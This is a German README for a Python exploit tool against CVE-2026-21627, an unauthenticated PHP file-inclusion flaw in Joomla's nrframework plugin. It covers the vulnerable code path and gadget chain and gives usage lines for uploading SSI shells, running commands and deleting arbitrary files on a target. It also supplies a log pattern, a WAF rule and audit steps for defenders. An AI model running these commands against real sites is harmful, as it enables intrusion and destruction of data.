
Python-Exploit für CVE-2026-21627, eine nicht authentifizierte, beliebige PHP-Dateieinbindung im Novarain Framework von Joomla, die Datei-Upload, -Löschung und RCE ermöglicht.
Nicht authentifizierte beliebige Dateieinbindung im Novarain Framework von Joomla (nrframework)
Eine kritische Schwachstelle im Tassos/Novarain Framework (plg_system_nrframework) Joomla-Plugin ermöglicht es nicht authentifizierten Angreifern, beliebige PHP-Dateien auf dem Server einzubinden, beliebige Klassen zu instanziieren und mit integrierten Gadget-Klassen zu verketten, um beliebige Datei-Uploads und beliebige Datei-Löschungen zu erreichen – alles ohne Authentifizierung.
| CVE-ID | CVE-2026-21627 |
| CVSS-Score | 9.5 (Kritisch) |
| Plugin | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| Betroffene Versionen | 4.10.14 bis 6.0.37 |
| Behoben in | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
Das nrframework-Plugin ist in mehreren beliebten Joomla-Erweiterungen von Tassos.gr enthalten, darunter Convert Forms, Engage Box, Google Structured Data und weitere.
Die Methode ajaxTaskInclude() in nrframework.php ist über das Array $non_admin_tasks explizit für den Frontend-Zugriff (nicht-Admin) freigeschaltet. Sie akzeptiert drei benutzergesteuerte Parameter:
path – verwendet den RAW-Eingabefilter (keine Bereinigung, Pfad-Traversal möglich)file – verwendet den standardmäßigen Joomla-Eingabefilterclass – Klassenname, der nach der Einbindung instanziiert werden sollDer verkettete Pfad $path . $file . '.php' wird direkt an @include_once übergeben, was eine beliebige PHP-Dateieinbindung ermöglicht. Nach der Einbindung wird die angegebene Klasse instanziiert und ihre Methode onAJAX() mit benutzergesteuerten Parametern aufgerufen.
| Primitive | Gadget | Schweregrad | Beschreibung |
|---|---|---|---|
| Dateieinbindung | ajaxTaskInclude() | Kritisch | Beliebiges Einbinden von .php-Dateien auf dem Server |
| Dateilöschung | JFormFieldNRInlineFileUpload::onRemove() | Kritisch | unlink() ohne Pfadvalidierung – löscht jede Datei, die vom Webserver beschreibbar ist |
| Datei-Upload | JFormFieldNRInlineFileUpload::onUpload() | Hoch | Hochladen von Textdateien in jedes beschreibbare, webbasierte Verzeichnis |
| Pfad-Offenlegung | Upload-Antwort | Mittel | Vollständiger Dateisystempfad wird in der JSON-Antwort preisgegeben |
python3 cve_2026_21627.py --target <URL> --mode <MODUS> [OPTIONEN]
| Modus | Beschreibung | Risiko |
|---|---|---|
verify | Bestätigen, dass die Schwachstelle existiert | Sicher / Nur lesend |
upload | Hochladen einer Datei in ein kontrolliertes Verzeichnis | Mittel |
delete | Löschen einer beliebigen Datei auf dem Server | Destruktiv |
rce | Versuch einer vollständigen RCE-Kette (Upload + Ausführung) | Hoch |
info | Einbinden einer beliebigen PHP-Datei zur Aufklärung | Mittel |
Schwachstelle verifizieren:
python3 cve_2026_21627.py --target https://example.com --mode verify
Proof-of-Concept-Datei hochladen:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
SSI-Shell hochladen (erfordert Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
RCE-Kette versuchen:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
Eine Datei löschen (destruktiv):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t Ziel-URL (erforderlich)
--mode, -m Exploit-Modus: verify|upload|delete|rce|info (erforderlich)
--sef-prefix Joomla-SEF-URL-Präfix (Standard: /it/)
--delay Verzögerung zwischen Anfragen in Sekunden (Standard: 2.5)
--proxy HTTP-Proxy (z. B. http://127.0.0.1:8080)
--no-ssl-verify SSL-Zertifikatsprüfung deaktivieren
Upload-Modus:
--shell-type Dateityp: shtml|csv|txt|html (Standard: shtml)
--upload-dir Upload-Verzeichnis relativ zu JPATH_ROOT (Standard: images)
--custom-content Benutzerdefinierter Dateiinhalt zum Hochladen
Delete-Modus:
--file-path Vollständiger Serverpfad der zu löschenden Datei
RCE-Modus:
--cmd Auszuführender Befehl (Standard: id)
Info-Modus:
--php-path PHP-Dateipfad relativ zu JPATH_SITE
--php-file PHP-Dateiname ohne .php-Erweiterung
--php-class Zu instanziierende PHP-Klasse
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Angreifer │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX-Router) │ │ │
│ task=include │ │ include ist in │ │ path = RAW-Eingabe │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (keine Auth nötig)│ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (Gadget-Klasse) │
│ │
│ onAjax() ──> onUpload() [SCHREIBEN]│
│ ──> onRemove() [LÖSCHEN] │
└─────────────────────────────────────┘
include wird mit einem kontrollierten path aufgerufen (RAW-Filter = keine Bereinigung), der auf die Gadget-Datei zeigt.JFormFieldNRInlineFileUpload bietet onUpload() für Datei-Schreibvorgänge und onRemove() für Datei-Löschungen, beide mit unzureichender Eingabevalidierung.requests-Bibliothekpip install requests
Überwachen Sie Zugriffsprotokolle auf Exploit-Versuche:
# Apache/Nginx-Protokollmuster
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF-Regel – Blockieren Sie Anfragen, die Folgendem entsprechen:
option=com_ajax.*plugin=nrframework.*task=include.*path=
Audit nach Kompromittierung:
images/ und andere beschreibbare Verzeichnisse auf unerwartete Dateienconfiguration.php und .htaccess@include_once-WarnungenajaxTaskInclude() vollständig und ersetzt es durch ein striktes Handler-Registry (AjaxHandlerRegistry)| Datum | Ereignis |
|---|---|
| 2026-02 | Schwachstelle während eines autorisierten Penetrationstests entdeckt |
| 2026-02 | Exploit erstellt |
| 2026-02 | Öffentliche Offenlegung |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie diesen Exploit nur gegen Systeme, für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Yallasec — yallasec.com
Arcangelo Saracino — @arkango